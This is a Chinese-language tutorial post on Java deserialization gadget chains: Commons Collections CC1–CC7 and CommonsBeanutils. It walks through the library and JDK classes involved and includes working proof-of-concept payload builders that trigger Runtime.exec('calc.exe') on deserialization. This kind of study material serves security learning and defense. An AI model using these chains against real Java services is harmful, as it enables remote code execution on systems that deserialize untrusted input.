前言 java是由类编写的,它的反序列化牵扯到很多底层的东西,它的起点常常为readobject方法  
Java 序列化和反序列化 当一个类需要被序列化和反序列化时,它必须 实现 java.io.Serializable 接口
在Java反序列化的过程中,反序列化一个对象时,如果该对象的类实现了 java.io.Serializable 接口,并且定义了私有方法 readObject(),则在反序列化过程中会调用该自定义的 readObject() 方法。(readObject方法内调用的方法可以不用必须实现 java.io.Serializable 接口)
1 2 3 4 5 6 7 8 9 10 readObject:1407, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1158, ObjectStreamClass (java.io) readSerialData:2169, ObjectInputStream (java.io) readOrdinaryObject:2060, ObjectInputStream (java.io) readObject0:1567, ObjectInputStream (java.io) readObject:427, ObjectInputStream (java.io) 
 
要序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import  java.io.Serializable;public  class  student  implements  Serializable   {         private  int  age;     private  String name;     private  String sex;n      public  student ()  {}    public  student (int  age,String name,String sex)  {         this .age=age;         this .name=name;         this .sex=sex;     }     public  int  getAge ()   {         return  age;     }     public  String getName ()   {         return  name;     }     public  String getSex ()   {         return  sex;     }     public  void  setAge (int  age)   {         this .age = age;     }     public  void  setName (String name)   {         this .name = name;     }     public  void  setSex (String sex)   {         this .sex = sex;     } } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  java.io.*;import  java.lang.reflect.InvocationTargetException;public  class  test   {    public  static  void  main (String[] args)  throws  Exception  {         student obj = new  student(18 ,"Arsene.Tang" ,"男" );         ByteArrayOutputStream barr = new  ByteArrayOutputStream();         ObjectOutputStream oo = new  ObjectOutputStream(barr);         oo.writeObject(obj);         oo.close();         System.out.println(barr);         ObjectInputStream ois = new  ObjectInputStream(new  ByteArrayInputStream(barr.toByteArray()));         Object o = (Object) ois.readObject();         student s = (student) o;         System.out.println("您的姓名为:" +s.getName()+" 您的年龄为:" +s.getAge()+" 您的性别为:" +s.getSex());     } } 
 
map 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25        Map<String, Integer> map = new  HashMap<>();                map.put("apple" , 1 );                    int  appleValue = map.get("apple" );        System.out.println("The value of 'apple' is: "  + appleValue);                boolean  containsKey = map.containsKey("banana" );                        for  (Map.Entry<String, Integer> entry : map.entrySet()) {            String key = entry.getKey();            int  value = entry.getValue();            System.out.println("Key: "  + key + ", Value: "  + value);        }                 map.remove("orange" );                map.clear(); 
 
cc链 Java Commons Collections是一个广泛使用的Java类库,提供了一组高效且易于使用的数据结构和算法。它扩展了Java集合框架,提供了许多有用的集合类和工具类,以解决常见的编程问题。
Transformer的transform方法接受一个输入对象,并返回一个转换后的对象
1 2 3 4 5   public  interface  Transformer   {    public  Object transform (Object input)  ; } 
 
在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
1 2 3 4 5 6 7 8 9 public  ConstantTransformer (Object constantToReturn)   {    super ();     iConstant = constantToReturn; } public  Object transform (Object input)   {    return  iConstant; } 
 
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public  InvokerTransformer (String methodName, Class[] paramTypes, Object[] args)   {    super ();     iMethodName = methodName;     iParamTypes = paramTypes;     iArgs = args; } public  Object transform (Object input)   {    if  (input == null ) {         return  null ;  }  try  {      Class cls = input.getClass();      Method method = cls.getMethod(iMethodName, iParamTypes);      return  method.invoke(input, iArgs);}     catch  (NoSuchMethodException ex) {         throw  new  FunctorException("InvokerTransformer: The method '"  +iMethodName + "' on '"  + input.getClass() + "' does not exist" );}      catch  (IllegalAccessException ex) {         throw  new  FunctorException("InvokerTransformer: The method '"  +iMethodName + "' on '"  + input.getClass() + "' cannot be accessed" );}      catch  (InvocationTargetException ex) {         throw  new  FunctorException("InvokerTransformer: The method '"  +iMethodName + "' on '"  + input.getClass() + "' threw an exception" , ex);} } 
 
ChainedTransformer类封装了Transformer的链式调用 ,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。
1 2 3 4 5 6 7 8 9 10 11 public  ChainedTransformer (Transformer[] transformers)   {    super ();     iTransformers = transformers; } public  Object transform (Object object)   {    for  (int  i = 0 ; i < iTransformers.length; i++) {         object = iTransformers[i].transform(object);         }     return  object; } 
 
TransformedMap类是一个装饰器类,TransformedMap.decorate方法通过装饰器模式来创建一个转换后的映射对象。当对转换后映射对象的键和值进行改变或添加时,会执行相对应的Transformer.transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public  static  Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer)   {      return  new  TransformedMap(map, keyTransformer, valueTransformer); } protected  TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer)   {        super (map);         this .keyTransformer = keyTransformer;         this .valueTransformer = valueTransformer;     }  protected  Object checkSetValue (Object value)   {         return  this .valueTransformer.transform(value);     } public  Set entrySet ()   {        if  (isSetValueChecking()) {             return  new  EntrySet(map.entrySet(), this );         } else  {             return  map.entrySet();         }     }     static  class  EntrySet  extends  AbstractSetDecorator   {         public  Iterator iterator ()   {             return  new  EntrySetIterator(collection.iterator(), parent);         }     }         static  class  EntrySetIterator  extends  AbstractIteratorDecorator   {          public  Object next ()   {             Map.Entry entry = (Map.Entry) iterator.next();             return  new  MapEntry(entry, parent);         }     }        static  class  MapEntry  extends  AbstractMapEntryDecorator   {     public  Object setValue (Object value)   {             value = parent.checkSetValue(value);             return  entry.setValue(value);         } 
 
AnnotationInvocationHandler sun.reflect.annotation.AnnotationInvocationHandler 是 Java 平台内部使用的类,并不是公共 API 的一部分,实现了java.lang.reflect.InvocationHandler(Java动态代理)接口 和java.io.Serializable接口 ,它还重写了readObject 方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法 ,是Java 反射机制中用来处理注解代理的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package  sun.reflect.annotation;class  AnnotationInvocationHandler  implements  InvocationHandler , Serializable   {AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {         Class[] var3 = var1.getInterfaces();         if  (var1.isAnnotation() && var3.length == 1  && var3[0 ] == Annotation.class) {             this .type = var1;             this .memberValues = var2;         } else  {             throw  new  AnnotationFormatError("Attempt to create proxy for a non-annotation type." );         }     }    public  Object invoke (Object var1, Method var2, Object[] var3)   {        String var4 = var2.getName();         Class[] var5 = var2.getParameterTypes();         if  (var4.equals("equals" ) && var5.length == 1  && var5[0 ] == Object.class) {             return  this .equalsImpl(var3[0 ]);         } else  if  (var5.length != 0 ) {             throw  new  AssertionError("Too many parameters for an annotation method" );         } else  {             switch  (var4) {                 case  "toString" :                     return  this .toStringImpl();                 case  "hashCode" :                     return  this .hashCodeImpl();                 case  "annotationType" :                     return  this .type;                 default :                     Object var6 = this .memberValues.get(var4);                     if  (var6 == null ) {                         throw  new  IncompleteAnnotationException(this .type, var4);                     } else  if  (var6 instanceof  ExceptionProxy) {                         throw  ((ExceptionProxy)var6).generateException();                     } else  {                         if  (var6.getClass().isArray() && Array.getLength(var6) != 0 ) {                             var6 = this .cloneArray(var6);                         }                         return  var6;                     }             }         }     }   private  void  readObject (java.io.ObjectInputStream var1) throws  java.io.IOException, ClassNotFoundException  {     var1.defaultReadObject();     AnnotationType var2 = null ;     try  {         var2 = AnnotationType.getInstance(this .type);}     catch (IllegalArgumentException e) {         throw  new  java.io.InvalidObjectException("Non-annotation type inannotation serial stream" ); }     Map var3= var2.memberTypes();     Iterator var4=this .memberValues.entrySet().iterator();     while (var4.hasNext()){         Entry var5=(Entry)var4.next();         String var6 = (String)var5.getKey();         Class var7 = (Class)var3.get(name);         if  (var7 != null ) {              Object var8 = var5.getValue();             if  (!(var7.isInstance(var8) || var8 instanceof  ExceptionProxy)) {                 var5.setValue(                     new  AnnotationTypeMismatchExceptionProxy(                         var8.getClass() + "["  + var8 + "]" ).setMember(var2.members().get(var6)));}}}}     }      
 
ObjectInputStream.readObject()   ->AnnotationInvocationHandler.readObject()       ->TransformedMap.entrySet().iterator().next().setValue()           ->TransformedMap.checkSetValue()         ->TransformedMap.transform()           ->ChainedTransformer.transform()//只要调用transform就行了,不用纠结传参的值,因为ConstantTransformer.transform()的值和传入的参数无关
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.annotation.Retention;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationHandler;import  java.util.HashMap;import  java.util.Map;public  class  CommonCollections1_2   {    public  static  void  main (String[] args)  throws  Exception  {     Transformer[] transformers = new  Transformer[] {         new  ConstantTransformer(Runtime.class),         new  InvokerTransformer("getMethod" , new  Class[] {String.class, Class[].class }, new  Object[] { "getRuntime" , new  Class[0 ] }),         new  InvokerTransformer("invoke" , new  Class[] { Object.class, Object[].class }, new  Object[] { null , new  Object[0 ]}),         new  InvokerTransformer("exec" , new  Class[] { String.class }, new  String[] {"calc.exe"  }),     };     Transformer transformerChain = new  ChainedTransformer(transformers);     Map innerMap = new  HashMap();     innerMap.put("value" , "abc" );     Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain);          Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );     Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);     construct.setAccessible(true );     Object obj = construct.newInstance(Retention.class, outerMap);     InvocationHandler handler = (InvocationHandler) obj;     ByteArrayOutputStream barr = new  ByteArrayOutputStream();     ObjectOutputStream oos = new  ObjectOutputStream(barr);     oos.writeObject(handler);     System.out.println("对象序列化成功!" );     oos.close();          System.out.println(barr);     ObjectInputStream ois = new  ObjectInputStream(new  ByteArrayInputStream(barr.toByteArray()));     Object o = (Object)ois.readObject();     System.out.println("对象反序列化成功!" );     }     } 
 
LazyMap 的漏洞触发点和TransformedMap 唯一的差别是在LazyMap的get方法中执行的transform
LazyMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 protected  LazyMap (Map map, Transformer factory)   {    super (map);     if  (factory == null ) {         throw  new  IllegalArgumentException("Factory must not be null" );     }     this .factory = factory; } public  static  Map decorate (Map map, Transformer factory)   {    return  new  LazyMap(map, factory); } public  Object get (Object key)   {    if  (map.containsKey(key) == false ) {         Object value = factory.transform(key);         map.put(key, value);         return  value;         }     return  map.get(key); } 
 
在AnnotationInvocationHandler类中的invoke方法中有调用到get,而动态代理 就调用了invoke方法 ,而AnnotationInvocationHandler类恰好是InvocationHandler 的实现类
ObjectInputStream.readObject()             AnnotationInvocationHandler.readObject()                 Map(Proxy).entrySet()//调用动态代理的方法触发invoke                     AnnotationInvocationHandler.invoke()                         LazyMap.get()                             ChainedTransformer.transform()
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15         Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new  Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); 
 
cc6–TiedMapEntry#hashcode触发get CC1的链在jdk-8u71 之后因为AnnotationInvocationHandler 的修改已无法利用,使用TiedMapEntry#hashCode 触发LazyMap#get 方法,相比之下cc6相对更加通用,
TiedMapEntry 该类主要用于将 Map 中的 Entry 与外部对象进行绑定,以便在修改 Entry 的值时能够同时修改外部对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package  org.apache.commons.collections.keyvalue;import  java.io.Serializable;import  java.util.Map;import  java.util.Map.Entry;import  org.apache.commons.collections.KeyValue;public  class  TiedMapEntry  implements  Entry , KeyValue , Serializable   {    private  static  final  long  serialVersionUID = -8453869361373831205L ;     private  final  Map map;     private  final  Object key;     public  TiedMapEntry (Map map, Object key)   {         this .map = map;         this .key = key;     }     public  Object getKey ()   {         return  this .key;     }     public  Object getValue ()   {         return  this .map.get(this .key);     }          public  int  hashCode ()   {         Object value = this .getValue();         return  (this .getKey() == null  ? 0  : this .getKey().hashCode()) ^(value == null  ? 0  : value.hashCode());     }      } 
 
HashMap HashMap 是 Map 接口的一个实现类,HashMap 提供了高效的键值对存储和查找功能,允许键和值为 null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  class  HashMap <K ,V > extends  AbstractMap <K ,V > implements  Map <K ,V >, Cloneable , Serializable   {        public  V put (K key, V value)   {         return  putVal(hash(key), key, value, false , true );     }      static  final  int  hash (Object key)   {         int  h;         return  (key == null ) ? 0  : (h = key.hashCode()) ^ (h >>> 16 );         }     private  void  readObject (java.io.ObjectInputStream s) throws  IOException, ClassNotFoundException  {         s.defaultReadObject();             for  (int  i = 0 ; i < mappings; i++) {             @SuppressWarnings("unchecked")              K key = (K) s.readObject();             @SuppressWarnings("unchecked")              V value = (V) s.readObject();             putVal(hash(key), key, value, false , false );         }     }  }    
 
    java.util.HashMap.readObject()
        java.util.HashMap.hash()//调用第一个参数key的hashCode方法
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()//调用第一个参数map的get方法,且传入值为第二个参数key(上述参数为TiedMapEntry构造方法传入的参数)
                    org.apache.commons.collections.map.LazyMap.get(key)//调用LazyMap第二个参数factory的transform方法
                        org.apache.commons.collections.functors.ChainedTransformer.transform(key)
                            //可以将key设置TemplatesImpl对象,factory设置为InvokerTransformer实现调用TemplatesImpl#newTransformer
 
ysoserial 的操作(这里只看思路) java.util.HashSet.readObject()         java.util.HashMap.put()                 java.util.HashMap.hash()
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.io.*;import  java.util.HashMap;import  java.util.Map;public  class  CommonsCollections6_1   {    public  static  void  main (String[] args)  throws  Exception  {         Transformer[] fakeTransformers = new  Transformer[]{};         Transformer[] transformers = new  Transformer[]{                 new  ConstantTransformer(Runtime.class),                 new  InvokerTransformer("getMethod" , new  Class[]{                         String.class,                         Class[].class}, new  Object[]{"getRuntime" ,                         new  Class[0 ]}),                 new  InvokerTransformer("invoke" , new  Class[]{                         Object.class,                         Object[].class}, new  Object[]{null , new                          Object[0 ]}),                 new  InvokerTransformer("exec" , new  Class[]{String.class                 },                         new  String[]{"calc.exe" })         };         Transformer chainedTransformer = new  ChainedTransformer(fakeTransformers);         Map innerMap = new  HashMap();         Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);         TiedMapEntry tiedMapEntry = new  TiedMapEntry(outerMap, "leekos" );         Map hashMap = new  HashMap();                  hashMap.put(tiedMapEntry, "value" );         outerMap.clear();         Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" );         iTransformers.setAccessible(true );         iTransformers.set(chainedTransformer, transformers);         ByteArrayOutputStream bos = new  ByteArrayOutputStream();         ObjectOutputStream oos = new  ObjectOutputStream(bos);         oos.writeObject(hashMap);         oos.close();         ByteArrayInputStream bis = new  ByteArrayInputStream(bos.toByteArray());         ObjectInputStream ois = new  ObjectInputStream(bis);         ois.readObject();         ois.close();     } } 
 
cc5-TiedMapEntry#toString触发get 这个 gadget 只能在8u76之后用 ,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject(这里应该把5放到6前面的,懒得改了 )
在 CC6 中是通过 TiedMapEntry#hashCode  来触发,在 CC5 中我们使用了TiedMapEntry#toString 来触发LazyMap#get  ObjectInputStream.readObject()             BadAttributeValueExpException.readObject()                 TiedMapEntry.toString()                     LazyMap.get()
1 2 3 4 5 6 7 8 9 10 HashMap<Object, Object> hashMap = new  HashMap<>();         Map decorate = LazyMap.decorate(hashMap, chainedTransformer);         TiedMapEntry tiedMapEntry = new  TiedMapEntry(decorate, "key" );         BadAttributeValueExpException badAttributeValueExpException = new  BadAttributeValueExpException(null );         Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;         Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val" );         valField.setAccessible(true );         valField.set(badAttributeValueExpException, tiedMapEntry); 
 
CC 3.2.2 后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中
很多的反序列化过滤器也都过滤掉了InvokerTransformer  例如,Java 序列化过滤器(ObjectInputFilter)可以通过 rejectProxyClass 和 rejectFilter 配置项来过滤恶意类,并拒绝 InvokerTransformer 的使用。
TemplatesImpl加载字节码时是由newTransformer 来触发的(详细见我的上一篇文章)
InstantiateTransformer类也是实现了Transformer接口的一个类,而它的作用是调用构造方法 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  InstantiateTransformer  implements  Transformer , Serializable   {    public  Object transform (Object input)   {         try  {             if  (!(input instanceof  Class)) {                 throw  new  FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "  + (input == null  ? "null object"  : input.getClass().getName()));             } else  {                 Constructor con = ((Class)input).getConstructor(this .iParamTypes);                 return  con.newInstance(this .iArgs);             }         } catch  (NoSuchMethodException var6) {             throw  new  FunctorException("InstantiateTransformer: The constructor must exist and be public " );         } catch  (InstantiationException var7) {             throw  new  FunctorException("InstantiateTransformer: InstantiationException" , var7);         } catch  (IllegalAccessException var8) {             throw  new  FunctorException("InstantiateTransformer: Constructor must be public" , var8);         } catch  (InvocationTargetException var9) {             throw  new  FunctorException("InstantiateTransformer: Constructor threw an exception" , var9);         }     } } 
 
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ,在这个类的构造方法中,就正好调用了(TransformerImpl) templates.newTransformer()
示例 InstantiateTransformer.transform     TrAXFilter.TrAXFilter         TransformerImpl.newTransformer             TransletClassLoader#defineClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception  {       Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true );        field.set(obj, value);    }    public  static  void  main (String[] args)  throws  Exception  {        byte [] code = Base64.getDecoder().decode("字节码..." );        TemplatesImpl obj = new  TemplatesImpl();        setFieldValue(obj, "_bytecodes" , new  byte [][] {code});        setFieldValue(obj, "_name" , "Arsene.Tang" );        setFieldValue(obj, "_tfactory" , new  TransformerFactoryImpl());        Transformer[] transformers = new  Transformer[]{            new  ConstantTransformer(TrAXFilter.class),            new  InstantiateTransformer(new  Class[] { Templates.class }, new  Object[] { obj })        };        Transformer transformersChain = new  ChainedTransformer(transformers);         
 
基于collections4特有的利用链             PriorityQueue#readObject()                 TransformingComparator.compare()                     InvokerTransformer.transform()                         … transform后其实也可以走cc3
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import  java.io.*;import  java.util.Comparator;import  java.util.PriorityQueue;import  java.util.Queue;import  org.apache.commons.collections4.Transformer;import  org.apache.commons.collections4.functors.ChainedTransformer;import  org.apache.commons.collections4.functors.ConstantTransformer;import  org.apache.commons.collections4.functors.InvokerTransformer;import  org.apache.commons.collections4.comparators.TransformingComparator;import  static  ysoserial.payloads.util.Reflections.setFieldValue;public  class  CommonsCollections2_1   {    public  static  void  main (String[] args)  throws  Exception  {         Transformer[] faketransfromer = new  Transformer[]{new  ConstantTransformer(1 )};         Transformer[] transformer = new  Transformer[]{             new  ConstantTransformer(Runtime.class),             new  InvokerTransformer("getMethod" , new  Class[]{String.class, Class[].class}, new  Object[]{"getRuntime" , new  Class[0 ]}),             new  InvokerTransformer("invoke" , new  Class[]{Object.class, Object[].class}, new  Object[]{null , new  Object[0 ]}),             new  InvokerTransformer("exec" , new  Class[]{String.class}, new  String[]{"calc.exe" })         };         Transformer transformerChain = new  ChainedTransformer(faketransfromer);         Comparator comparator = new  TransformingComparator(transformerChain);         Queue queue = new  PriorityQueue(2 , comparator);         queue.add(1 );         queue.add(2 );         setFieldValue(transformerChain,"iTransformers" ,transformer);         ByteArrayOutputStream barr = new  ByteArrayOutputStream();         ObjectOutputStream oos = new  ObjectOutputStream(barr);         oos.writeObject(queue);         oos.close();         System.out.println(barr);         ObjectInputStream ois = new  ObjectInputStream(new  ByteArrayInputStream(barr.toByteArray()));         Object o = (Object)ois.readObject();     } } 
 
cc7–原生Hashtable触发get 前言 之前看[D^3CTF]shorter这道题考的rome链缩减,总是看不懂,后来才发现和cc7这条链子关系很大,所以赶紧补上了,自学好难啊
Hashtable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public  class  Hashtable <K ,V >    extends  Dictionary <K ,V >     implements  Map <K ,V >, Cloneable , java .io .Serializable   {            private  transient  Entry<?,?>[] table; private  void  readObject (java.io.ObjectInputStream s)          throws  IOException, ClassNotFoundException      {        int  elements = s.readInt();         table = new  Entry<?,?>[length]; .............         for  (; elements > 0 ; elements--) {             @SuppressWarnings("unchecked")                  K key = (K)s.readObject();             @SuppressWarnings("unchecked")                  V value = (V)s.readObject();             reconstitutionPut(table, key, value);         }     }     private  void  reconstitutionPut (Entry<?,?>[] tab, K key, V value)          throws  StreamCorruptedException      {        if  (value == null ) {             throw  new  java.io.StreamCorruptedException();         }         int  hash = key.hashCode();         int  index = (hash & 0x7FFFFFFF ) % tab.length;         for  (Entry<?,?> e = tab[index] ; e != null  ; e = e.next) {             if  ((e.hash == hash) && e.key.equals(key)) {                 throw  new  java.io.StreamCorruptedException();             }         }                  @SuppressWarnings("unchecked")              Entry<K,V> e = (Entry<K,V>)tab[index];         tab[index] = new  Entry<>(hash, key, value, e);         count++;     }     protected  Entry (int  hash, K key, V value, Entry<K,V> next)   {             this .hash = hash;             this .key =  key;             this .value = value;             this .next = next;         } 
 
hash计算流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 key.hashCode(); public  int  hashCode ()   {        int  h = 0 ;         Iterator<Entry<K,V>> i = entrySet().iterator();         while  (i.hasNext())             h += i.next().hashCode();         return  h;     } public  final  int  hashCode ()   {            return  Objects.hashCode(key) ^ Objects.hashCode(value);         }     public  int  hashCode ()   {        int  h = hash;         if  (h == 0  && value.length > 0 ) {             char  val[] = value;             for  (int  i = 0 ; i < value.length; i++) {                 h = 31  * h + val[i];             }             hash = h;         }         return  h;     }         
 
AbstractMap hashmap的equals方法继承与其父类AbstractMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public  abstract  class  AbstractMap <K ,V > implements  Map <K ,V >  {public  boolean  equals (Object o)   {        if  (o == this )             return  true ;         if  (!(o instanceof  Map))             return  false ;         Map<?,?> m = (Map<?,?>) o;         if  (m.size() != size())              return  false ;         try  {             Iterator<Entry<K,V>> i = entrySet().iterator();             while  (i.hasNext()) {                 Entry<K,V> e = i.next();                 K key = e.getKey();                 V value = e.getValue();                 if  (value == null ) {                     if  (!(m.get(key)==null  && m.containsKey(key)))                         return  false ;                 } else  {                     if  (!value.equals(m.get(key)))                         return  false ;                 }             }         } catch  (ClassCastException unused) {             return  false ;         } catch  (NullPointerException unused) {             return  false ;         }         return  true ;     } 
 
java.util.Hashtable.readObject     java.util.Hashtable.reconstitutionPut         org.apache.commons.collections.map.AbstractMapDecorator.equals             java.util.AbstractMap.equals                 org.apache.commons.collections.map.LazyMap.get                 ……..
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer transformerChain = new  ChainedTransformer(fakeTransformers); Map innerMap1 = new  HashMap(); Map innerMap2 = new  HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new  Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); 
 
CB链 在commons-beanutils中就提供了一种静态方法,让使用者可以直接调用任意JavaBean的getter方法,比如:PropertyUtils.getProperty(people,"name");成功调用到了people对象的getName()方法
cb链主要思想是利用getProperty调用getOutputProperties,从而调用其中的newTransformer,cb链其实是cc3和cc2的结合         PriorityQueue#readObject()             siftDownUsingComparator()                 BeanComparato.compare()                     PropertyUtils.getProperty                         TemplatesImpl#getOutputProperties                             TemplatesImpl#newTransformer                         …
示例 1 2 3 4 5 6 BeanComparator comparator = new  BeanComparator();         Queue queue = new  PriorityQueue(2 , comparator);         queue.add(1 );         queue.add(1 );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object[]{obj, obj});